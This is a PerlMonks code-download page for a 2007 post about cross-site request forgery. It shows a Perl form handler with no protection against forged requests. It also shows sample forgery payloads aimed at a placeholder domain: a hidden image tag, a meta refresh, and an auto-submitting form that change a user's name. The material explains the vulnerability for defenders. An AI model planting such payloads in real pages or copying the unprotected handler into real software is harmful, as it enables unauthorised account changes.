Beefy Boxes and Bandwidth Generously Provided by pair Networks vroom
There's more than one way to do things
 
PerlMonks  

Is your web application really secure? ("CSRF")

by tinita (Parson)
on Mar 27, 2007 at 18:49 UTC ( #606832=perlmeditation: print w/ replies, xml ) Need Help??

Help for this page

Select Code to Download


  1. or download this
    <form action="http://yourdomain.example/script" method="POST">
    <input type="text" name="realname">
    <input type="submit" name="submit.save_realname" value="Save">
    </form>
    
  2. or download this
    if ($cgi->param('submit.save_realname')) {
      my $name = $cgi->param('realname');
    ...
      $user->realname($name);
      $user->update;
    }
    
  3. or download this
    <img src="http://yourdomain.example/script?submit.save_realname=1;real
    +name=owned" height="0" width="0" alt="">
    or even:
    <meta http-equiv="refresh" content="0; URL=http://yourdomain.example/s
    +cript?submit.save_realname=1;realname=owned">
    
  4. or download this
    <body onLoad="document.forms[0].submit()">
    <form action="http://yourdomain.example/script" method="POST">
    <input type="text" name="realname">
    <input type="submit" name="submit.save_realname" value="Save">
    </form>
    

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: perlmeditation [id://606832]
Approved by Corion
Front-paged by Corion
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others lurking in the Monastery: (7)
As of 2014-04-19 18:59 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    April first is:







    Results (483 votes), past polls